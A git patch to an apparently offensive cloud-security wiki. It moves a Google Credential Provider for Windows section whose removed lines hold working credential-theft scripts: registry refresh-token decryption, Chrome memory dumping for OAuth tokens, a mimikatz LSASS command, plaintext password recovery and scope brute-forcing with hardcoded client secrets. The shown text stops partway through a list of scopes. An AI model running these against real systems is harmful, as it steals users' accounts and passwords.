From e0acab35eeb389e9a89b881fe24699e37ac1c0c0 Mon Sep 17 00:00:00 2001 From: CPol Date: Tue, 8 Oct 2024 15:03:09 +0000 Subject: [PATCH] GITBOOK-693: No subject --- SUMMARY.md | 3 +- .../gcp-non-svc-persistance.md | 1279 +--------------- .../gcp-to-workspace-pivoting/README.md | 4 +- pentesting-cloud/workspace-security/README.md | 12 + ...gcds-directory-sync-with-ad-and-entraid.md | 1364 +++++++++++++++++ 5 files changed, 1382 insertions(+), 1280 deletions(-) create mode 100644 pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md diff --git a/SUMMARY.md b/SUMMARY.md index f075951d03..693dbd7a31 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -134,9 +134,9 @@ * [GCP - Dataflow Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md) * [GCP - Filestore Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md) * [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md) - * [GCP - Non-svc Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md) * [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md) * [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md) + * [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md) * [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md) * [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md) * [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md) @@ -191,6 +191,7 @@ * [GWS - Workspace Pentesting](pentesting-cloud/workspace-security/README.md) * [GWS - Post Exploitation](pentesting-cloud/workspace-security/gws-post-exploitation.md) * [GWS - Persistence](pentesting-cloud/workspace-security/gws-persistence.md) + * [GWS - Workspace Sync Attacks (GCPW, GCDS, Directory Sync with AD & EntraID)](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md) * [GWS - Google Platforms Phishing](pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md) * [GWS - App Scripts](pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md) * [AWS Pentesting](pentesting-cloud/aws-security/README.md) diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md b/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md index bf7f9d1f72..6c82c077e7 100644 --- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md +++ b/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md @@ -1,8 +1,6 @@ -# GCP - Non-svc Persistance +# GCP - Token Persistance {% hint style="success" %} - - Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -17,10 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -These are useful techniques once, somehow, you have compromised some GCP credentials or machine running in a GCP environment. - -## Token Hijacking - ### Authenticated User Tokens To get the **current token** of a user you can run: @@ -122,1279 +116,10 @@ Obviously, as long as you are inside a machine running in the GCP environment yo Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) -## GCPW - Google Credential Provider for Windows - -This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store tokens to access Google Workspace in some place sin the PC. - -### GCPW - MitM - -When a user access a Windows PC synchronized with Google Workspace via GCPW it will need to complete a common login form. This login form will return an OAuth code that the PC will exchange for the refresh token in a request like: - -{% code overflow="wrap" %} -```http -POST /oauth2/v4/token HTTP/2 -Host: www.googleapis.com -Content-Length: 311 -Content-Type: application/x-www-form-urlencoded -[...headers...] - -scope=https://www.google.com/accounts/OAuthLogin -&grant_type=authorization_code -&client_id=77185425430.apps.googleusercontent.com -&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT -&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw -&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f -&device_type=chrome -``` -{% endcode %} - -New lines have been added to make it more readable. - -{% hint style="info" %} -It was possible to perform a MitM by installing `Proxifier` in the PC, overwriting the `utilman.exe` binary with a `cmd.exe` and executing the **accessibility features** in the Windows login page, which will execute a **CMD** from which you can **launch and configure the Proxifier**.\ -Don't forget to **block QUICK UDP** traffic in `Proxifier` so it downgrades to TCP communication and you can see it. - -Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows. -{% endhint %} - -Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** it's possible to make it store some logs. - -### GCPW - Fingerprint - -It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist: - -```powershell -# Check process gcpw_extension.exe -if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { - Write-Output "The process gcpw_xtension.exe is running." -} else { - Write-Output "The process gcpw_xtension.exe is not running." -} - -# Check if HKLM\SOFTWARE\Google\GCPW\Users exists -$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users" -if (Test-Path $gcpwHKLMPath) { - Write-Output "GCPW is installed: The key $gcpwHKLMPath exists." -} else { - Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist." -} - -# Check if HKCU\SOFTWARE\Google\Accounts exists -$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts" -if (Test-Path $gcpwHKCUPath) { - Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists." -} else { - Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." -} -``` - -In **`HKCU:\SOFTWARE\Google\Accounts`** it's possible to access the email of the user and the encrypted **refresh token** if the user recently logged in. - -In **`HKLM:\SOFTWARE\Google\GCPW\Users`** it's possible to find the **domains** that are allowed to login in the key `domains_allowed` and in subkeys it's possible to find information about the user like email, pic, user name, token lifetimes, token handle... - -{% hint style="info" %} -The token handle is a token that starts with `eth.` and from which can be extracted some info with a request like: - -{% code overflow="wrap" %} -```bash -curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ - -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg' -# Example response -{ - "audience": "77185425430.apps.googleusercontent.com", - "scope": "https://www.google.com/accounts/OAuthLogin", - "expires_in": 12880152 -} -``` -{% endcode %} - -Also it's possible to find the token handle of an access token with a request like: - -{% code overflow="wrap" %} -```bash -curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ - -d 'access_token=' -# Example response -{ - "issued_to": "77185425430.apps.googleusercontent.com", - "audience": "77185425430.apps.googleusercontent.com", - "scope": "https://www.google.com/accounts/OAuthLogin", - "expires_in": 1327, - "access_type": "offline", - "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg" -} -``` -{% endcode %} - -Afaik it's not possible obtain a refresh token or access token from the token handle. -{% endhint %} - -Moreover, the file **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** is a json containing the information of different **settings** like `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (if several users from Workspace can login in the computer) and `validityPeriodDays` (number of days a user doesn't need to reauthenticate with Google directly). - -### GCPW - Registry Refresh Tokens - -Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to find some accounts with the **`refresh_token`** encrypted inside. The method **`ProtectedData.Unprotect`** can easily decrypt it. - -
- -Get HKCU:\SOFTWARE\Google\Accounts data and decrypt refresh_tokens - -```powershell -# Import required namespace for decryption -Add-Type -AssemblyName System.Security - -# Base registry path -$baseKey = "HKCU:\SOFTWARE\Google\Accounts" - -# Function to search and decrypt refresh_token values -function Get-RegistryKeysAndDecryptTokens { - param ( - [string]$keyPath - ) - - # Get all values within the current key - $registryKey = Get-Item -Path $keyPath - $foundToken = $false - - # Loop through properties to find refresh_token - foreach ($property in $registryKey.Property) { - if ($property -eq "refresh_token") { - $foundToken = $true - try { - # Get the raw bytes of the refresh_token from the registry - $encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property - - # Decrypt the bytes using ProtectedData.Unprotect - $decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) - $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes) - - Write-Output "Path: $keyPath" - Write-Output "Decrypted refresh_token: $decryptedToken" - Write-Output "-----------------------------" - } - catch { - Write-Output "Path: $keyPath" - Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" - Write-Output "-----------------------------" - } - } - } - - # Recursively process all subkeys - Get-ChildItem -Path $keyPath | ForEach-Object { - Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath - } -} - -# Start the search from the base key -Get-RegistryKeysAndDecryptTokens -keyPath $baseKey -``` - -
- -Example out: - -{% code overflow="wrap" %} -``` -Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI -``` -{% endcode %} - -As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), if you don't find the token in the registry it's possible to modify the value (or delete) from **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** and the next time the user access the computer he will need to login again and the **token will be stored in the previous registry**. - -### GCPW - Disk Refresh Tokens - -The file **`%LocalAppData%\Google\Chrome\User Data\Local State`** stores the key to decrypt the **`refresh_tokens`** located inside the **Google Chrome profiles** of the user like: - -* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data` -* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data` - -It's possible to find some **C# code** accessing these tokens in their decrypted manner in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe). - -Moreover, the encrypting can be found in this code: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216) - -It can be observed that AESGCM is used, the encrypted token starts with a **version** (**`v10`** at this time), then it [**has 12B of nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), and then it has the **cypher-text** with a final **mac of 16B**. - -### GCPW - Dumping tokens from processes memory - -The following script can be used to **dump** every **Chrome** process using `procdump`, extract the **strings** and then **search** for strings related to **access and refresh tokens**. If Chrome is connected to some Google site, some **process will be storing refresh and/or access tokens in memory!** - -
- -Dump Chrome processes and search tokens - -```powershell -# Define paths for Procdump and Strings utilities -$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" -$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" -$dumpFolder = "C:\Users\Public\dumps" - -# Regular expressions for tokens -$tokenRegexes = @( - "ya29\.[a-zA-Z0-9_\.\-]{50,}", - "1//[a-zA-Z0-9_\.\-]{50,}" -) - -# Show EULA if it wasn't accepted yet for strings -$stringsPath - -# Create a directory for the dumps if it doesn't exist -if (!(Test-Path $dumpFolder)) { - New-Item -Path $dumpFolder -ItemType Directory -} - -# Get all Chrome process IDs -$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id - -# Dump each Chrome process -foreach ($processId in $chromeProcesses) { - Write-Output "Dumping process with PID: $processId" - & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" -} - -# Extract strings and search for tokens in each dump -Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { - $dumpFile = $_.FullName - $baseName = $_.BaseName - $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt" - $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt" - - Write-Output "Extracting strings from $dumpFile" - & $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile - & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile - - $outputFiles = @($asciiStringsFile, $unicodeStringsFile) - - foreach ($file in $outputFiles) { - foreach ($regex in $tokenRegexes) { - - $matches = Select-String -Path $file -Pattern $regex -AllMatches - - $uniqueMatches = @{} - - foreach ($matchInfo in $matches) { - foreach ($match in $matchInfo.Matches) { - $matchValue = $match.Value - if (-not $uniqueMatches.ContainsKey($matchValue)) { - $uniqueMatches[$matchValue] = @{ - LineNumber = $matchInfo.LineNumber - LineText = $matchInfo.Line.Trim() - FilePath = $matchInfo.Path - } - } - } - } - - foreach ($matchValue in $uniqueMatches.Keys) { - $info = $uniqueMatches[$matchValue] - Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" - } - } - - Write-Output "" - } -} - -Remove-Item -Path $dumpFolder -Recurse -Force -``` - -
- -I tried the same with `gcpw_extension.exe` but it didn't find any token. - -For some reason, s**ome extracted access tokens won't be valid (although some will be)**. I tried the following script to remove chars 1 by 1 to try to get the valid token from the dump. It never helped me to find a valid one, but it might I guess: - -
- -Check access token by removing chars 1 by 1 - -```bash -#!/bin/bash - -# Define the initial access token -access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277" - -# Define the URL for the request -url="https://www.googleapis.com/oauth2/v1/tokeninfo" - -# Loop until the token is 20 characters or the response doesn't contain "error_description" -while [ ${#access_token} -gt 20 ]; do - # Make the request and capture the response - response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url) - - # Check if the response contains "error_description" - if [[ ! "$response" =~ "error_description" ]]; then - echo "Success: Token is valid" - echo "Final token: $access_token" - echo "Response: $response" - exit 0 - fi - - # Remove the last character from the token - access_token=${access_token:0:-1} - - echo "Token length: ${#access_token}" -done - -echo "Error: Token invalid or too short" -``` - -
- -### GCPW - Recovering the clear text password - -To abuse GCPW to recover the clear text of the password it's possible to dump the encrypted password from **LSASS** using **mimikatz**: - -```bash -mimikatz_trunk\x64\mimikatz.exe token::elevate lsadump::secrets exit -``` - -Then search for the secret like `Chrome-GCPW-` like in the image: - -
- -Then, with an **access token** with the scope `https://www.google.com/accounts/OAuthLogin` it's possible to request the private key to decrypt the password: - -
- -Script to obtain the password in clear-text given the access token, encrypted password and resource id - -```python -import requests -from base64 import b64decode -from Crypto.Cipher import AES, PKCS1_OAEP -from Crypto.PublicKey import RSA - -def get_decryption_key(access_token, resource_id): - try: - # Request to get the private key - response = requests.get( - f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}", - headers={ - "Authorization": f"Bearer {access_token}" - } - ) - - # Check if the response is successful - if response.status_code == 200: - private_key = response.json()["base64PrivateKey"] - # Properly format the RSA private key - private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----" - return private_key - else: - raise ValueError(f"Failed to retrieve private key: {response.text}") - - except requests.RequestException as e: - print(f"Error occurred while requesting the private key: {e}") - return None - -def decrypt_password(access_token, lsa_secret): - try: - # Obtain the private key using the resource_id - resource_id = lsa_secret["resource_id"] - encrypted_data = b64decode(lsa_secret["encrypted_password"]) - - private_key_pem = get_decryption_key(access_token, resource_id) - print("Found private key:") - print(private_key_pem) - - if private_key_pem is None: - raise ValueError("Unable to retrieve the private key.") - - # Load the RSA private key - rsa_key = RSA.import_key(private_key_pem) - key_size = int(rsa_key.size_in_bits() / 8) - - # Decrypt the encrypted data - cipher_rsa = PKCS1_OAEP.new(rsa_key) - session_key = cipher_rsa.decrypt(encrypted_data[:key_size]) - - # Extract the session key and other data from decrypted payload - session_header = session_key[:32] - session_nonce = session_key[32:] - mac = encrypted_data[-16:] - - # Decrypt the AES GCM data - aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) - decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac) - - print("Decrypted Password:", decrypted_password.decode("utf-8")) - - except Exception as e: - print(f"Error occurred during decryption: {e}") - -# CHANGE THIS INPUT DATA! -access_token = "" -lsa_secret = { - "encrypted_password": "", - "resource_id": "" -} - -decrypt_password(access_token, lsa_secret) -``` - -
- -It's possible to find the key components of this in the Chromium source code: - -* API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code) -* API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential\_provider/gaiacp/password\_recovery\_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential\_provider/gaiacp/password\_recovery\_manager.cc#L70) - -### GCPW - Generating access tokens from refresh tokens - -Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command: - -```bash -curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ - --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ - --data "grant_type=refresh_token" \ - --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ - https://www.googleapis.com/oauth2/v4/token -``` - -### GCPW - Scopes - -{% hint style="info" %} -Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**. - -Alsoe, the refresh token is not valid in every application. -{% endhint %} - -By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`: - -
- -Bash script to brute-force scopes - -```bash -curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do - echo -ne "Testing $scope \r" - if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ - --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ - --data "grant_type=refresh_token" \ - --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ - --data "scope=$scope" \ - https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then - echo "" - echo $scope - echo $scope >> /tmp/valid_scopes.txt - fi -done - -echo "" -echo "" -echo "Valid scopes:" -cat /tmp/valid_scopes.txt -rm /tmp/valid_scopes.txt -``` - -
- -And this is the output I got at the time of the writing: - -``` -Valid scopes: -https://www.googleapis.com/auth/admin.directory.user -https://www.googleapis.com/auth/calendar -https://www.googleapis.com/auth/calendar.events -https://www.googleapis.com/auth/calendar.events.readonly -https://www.googleapis.com/auth/calendar.readonly -https://www.googleapis.com/auth/classroom.courses.readonly -https://www.googleapis.com/auth/classroom.coursework.me.readonly -https://www.googleapis.com/auth/classroom.coursework.students.readonly -https://www.googleapis.com/auth/classroom.profile.emails -https://www.googleapis.com/auth/classroom.profile.photos -https://www.googleapis.com/auth/classroom.rosters.readonly -https://www.googleapis.com/auth/classroom.student-submissions.me.readonly -https://www.googleapis.com/auth/classroom.student-submissions.students.readonly -https://www.googleapis.com/auth/cloud-translation -https://www.googleapis.com/auth/cloud_search.query -https://www.googleapis.com/auth/devstorage.read_write -https://www.googleapis.com/auth/drive -https://www.googleapis.com/auth/drive.apps.readonly -https://www.googleapis.com/auth/drive.file -https://www.googleapis.com/auth/drive.readonly -https://www.googleapis.com/auth/ediscovery -https://www.googleapis.com/auth/firebase.messaging -https://www.googleapis.com/auth/spreadsheets -https://www.googleapis.com/auth/tasks -https://www.googleapis.com/auth/tasks.readonly -https://www.googleapis.com/auth/userinfo.email -https://www.googleapis.com/auth/userinfo.profile -``` - -Moreover, checking the Chromium source code it's possible to [**find this file**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google\_apis/gaia/gaia\_constants.cc#L24), which contains **other scopes** that can be assumed that **doesn't appear in the previously brute-forced lis**t. Therefore, these extra scopes can be assumed: - -
- -Extra scopes - -``` -https://www.google.com/accounts/OAuthLogin -https://www.googleapis.com/auth/account.capabilities -https://www.googleapis.com/auth/accounts.programmaticchallenge -https://www.googleapis.com/auth/accounts.reauth -https://www.googleapis.com/auth/admin.directory.user -https://www.googleapis.com/auth/aida -https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged -https://www.googleapis.com/auth/android_checkin -https://www.googleapis.com/auth/any-api -https://www.googleapis.com/auth/assistant-sdk-prototype -https://www.googleapis.com/auth/auditrecording-pa -https://www.googleapis.com/auth/bce.secureconnect -https://www.googleapis.com/auth/calendar -https://www.googleapis.com/auth/calendar.events -https://www.googleapis.com/auth/calendar.events.readonly -https://www.googleapis.com/auth/calendar.readonly -https://www.googleapis.com/auth/cast.backdrop -https://www.googleapis.com/auth/cclog -https://www.googleapis.com/auth/chrome-model-execution -https://www.googleapis.com/auth/chrome-optimization-guide -https://www.googleapis.com/auth/chrome-safe-browsing -https://www.googleapis.com/auth/chromekanonymity -https://www.googleapis.com/auth/chromeosdevicemanagement -https://www.googleapis.com/auth/chromesync -https://www.googleapis.com/auth/chromewebstore.readonly -https://www.googleapis.com/auth/classroom.courses.readonly -https://www.googleapis.com/auth/classroom.coursework.me.readonly -https://www.googleapis.com/auth/classroom.coursework.students.readonly -https://www.googleapis.com/auth/classroom.profile.emails -https://www.googleapis.com/auth/classroom.profile.photos -https://www.googleapis.com/auth/classroom.rosters.readonly -https://www.googleapis.com/auth/classroom.student-submissions.me.readonly -https://www.googleapis.com/auth/classroom.student-submissions.students.readonly -https://www.googleapis.com/auth/cloud-translation -https://www.googleapis.com/auth/cloud_search.query -https://www.googleapis.com/auth/cryptauth -https://www.googleapis.com/auth/devstorage.read_write -https://www.googleapis.com/auth/drive -https://www.googleapis.com/auth/drive.apps.readonly -https://www.googleapis.com/auth/drive.file -https://www.googleapis.com/auth/drive.readonly -https://www.googleapis.com/auth/ediscovery -https://www.googleapis.com/auth/experimentsandconfigs -https://www.googleapis.com/auth/firebase.messaging -https://www.googleapis.com/auth/gcm -https://www.googleapis.com/auth/googlenow -https://www.googleapis.com/auth/googletalk -https://www.googleapis.com/auth/identity.passwords.leak.check -https://www.googleapis.com/auth/ip-protection -https://www.googleapis.com/auth/kid.family.readonly -https://www.googleapis.com/auth/kid.management.privileged -https://www.googleapis.com/auth/kid.permission -https://www.googleapis.com/auth/kids.parentapproval -https://www.googleapis.com/auth/kids.supervision.setup.child -https://www.googleapis.com/auth/lens -https://www.googleapis.com/auth/music -https://www.googleapis.com/auth/nearbydevices-pa -https://www.googleapis.com/auth/nearbypresence-pa -https://www.googleapis.com/auth/nearbysharing-pa -https://www.googleapis.com/auth/peopleapi.readonly -https://www.googleapis.com/auth/peopleapi.readwrite -https://www.googleapis.com/auth/photos -https://www.googleapis.com/auth/photos.firstparty.readonly -https://www.googleapis.com/auth/photos.image.readonly -https://www.googleapis.com/auth/profile.language.read -https://www.googleapis.com/auth/secureidentity.action -https://www.googleapis.com/auth/spreadsheets -https://www.googleapis.com/auth/supportcontent -https://www.googleapis.com/auth/tachyon -https://www.googleapis.com/auth/tasks -https://www.googleapis.com/auth/tasks.readonly -https://www.googleapis.com/auth/userinfo.email -https://www.googleapis.com/auth/userinfo.profile -https://www.googleapis.com/auth/wallet.chrome -``` - -
- -Note that the most interesting one is possibly: - -```c -// OAuth2 scope for access to all Google APIs. -const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; -``` - -However, I tried to use this scope to access gmail or list groups and it didn't work, so I don't know how useful it still is. - -**Get an access token with all those scopes**: - -
- -Bash script to generate access token from refresh_token with all the scopes - -```bash -export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user -https://www.googleapis.com/auth/calendar -https://www.googleapis.com/auth/calendar.events -https://www.googleapis.com/auth/calendar.events.readonly -https://www.googleapis.com/auth/calendar.readonly -https://www.googleapis.com/auth/classroom.courses.readonly -https://www.googleapis.com/auth/classroom.coursework.me.readonly -https://www.googleapis.com/auth/classroom.coursework.students.readonly -https://www.googleapis.com/auth/classroom.profile.emails -https://www.googleapis.com/auth/classroom.profile.photos -https://www.googleapis.com/auth/classroom.rosters.readonly -https://www.googleapis.com/auth/classroom.student-submissions.me.readonly -https://www.googleapis.com/auth/classroom.student-submissions.students.readonly -https://www.googleapis.com/auth/cloud-translation -https://www.googleapis.com/auth/cloud_search.query -https://www.googleapis.com/auth/devstorage.read_write -https://www.googleapis.com/auth/drive -https://www.googleapis.com/auth/drive.apps.readonly -https://www.googleapis.com/auth/drive.file -https://www.googleapis.com/auth/drive.readonly -https://www.googleapis.com/auth/ediscovery -https://www.googleapis.com/auth/firebase.messaging -https://www.googleapis.com/auth/spreadsheets -https://www.googleapis.com/auth/tasks -https://www.googleapis.com/auth/tasks.readonly -https://www.googleapis.com/auth/userinfo.email -https://www.googleapis.com/auth/userinfo.profile -https://www.google.com/accounts/OAuthLogin -https://www.googleapis.com/auth/account.capabilities -https://www.googleapis.com/auth/accounts.programmaticchallenge -https://www.googleapis.com/auth/accounts.reauth -https://www.googleapis.com/auth/admin.directory.user -https://www.googleapis.com/auth/aida -https://www.googleapis.com/auth/kid.management.privileged -https://www.googleapis.com/auth/android_checkin -https://www.googleapis.com/auth/any-api -https://www.googleapis.com/auth/assistant-sdk-prototype -https://www.googleapis.com/auth/auditrecording-pa -https://www.googleapis.com/auth/bce.secureconnect -https://www.googleapis.com/auth/calendar -https://www.googleapis.com/auth/calendar.events -https://www.googleapis.com/auth/calendar.events.readonly -https://www.googleapis.com/auth/calendar.readonly -https://www.googleapis.com/auth/cast.backdrop -https://www.googleapis.com/auth/cclog -https://www.googleapis.com/auth/chrome-model-execution -https://www.googleapis.com/auth/chrome-optimization-guide -https://www.googleapis.com/auth/chrome-safe-browsing -https://www.googleapis.com/auth/chromekanonymity -https://www.googleapis.com/auth/chromeosdevicemanagement -https://www.googleapis.com/auth/chromesync -https://www.googleapis.com/auth/chromewebstore.readonly -https://www.googleapis.com/auth/classroom.courses.readonly -https://www.googleapis.com/auth/classroom.coursework.me.readonly -https://www.googleapis.com/auth/classroom.coursework.students.readonly -https://www.googleapis.com/auth/classroom.profile.emails -https://www.googleapis.com/auth/classroom.profile.photos -https://www.googleapis.com/auth/classroom.rosters.readonly -https://www.googleapis.com/auth/classroom.student-submissions.me.readonly -https://www.googleapis.com/auth/classroom.student-submissions.students.readonly -https://www.googleapis.com/auth/cloud-translation -https://www.googleapis.com/auth/cloud_search.query -https://www.googleapis.com/auth/cryptauth -https://www.googleapis.com/auth/devstorage.read_write -https://www.googleapis.com/auth/drive -https://www.googleapis.com/auth/drive.apps.readonly -https://www.googleapis.com/auth/drive.file -https://www.googleapis.com/auth/drive.readonly -https://www.googleapis.com/auth/ediscovery -https://www.googleapis.com/auth/experimentsandconfigs -https://www.googleapis.com/auth/firebase.messaging -https://www.googleapis.com/auth/gcm -https://www.googleapis.com/auth/googlenow -https://www.googleapis.com/auth/googletalk -https://www.googleapis.com/auth/identity.passwords.leak.check -https://www.googleapis.com/auth/ip-protection -https://www.googleapis.com/auth/kid.family.readonly -https://www.googleapis.com/auth/kid.management.privileged -https://www.googleapis.com/auth/kid.permission -https://www.googleapis.com/auth/kids.parentapproval -https://www.googleapis.com/auth/kids.supervision.setup.child -https://www.googleapis.com/auth/lens -https://www.googleapis.com/auth/music -https://www.googleapis.com/auth/nearbydevices-pa -https://www.googleapis.com/auth/nearbypresence-pa -https://www.googleapis.com/auth/nearbysharing-pa -https://www.googleapis.com/auth/peopleapi.readonly -https://www.googleapis.com/auth/peopleapi.readwrite 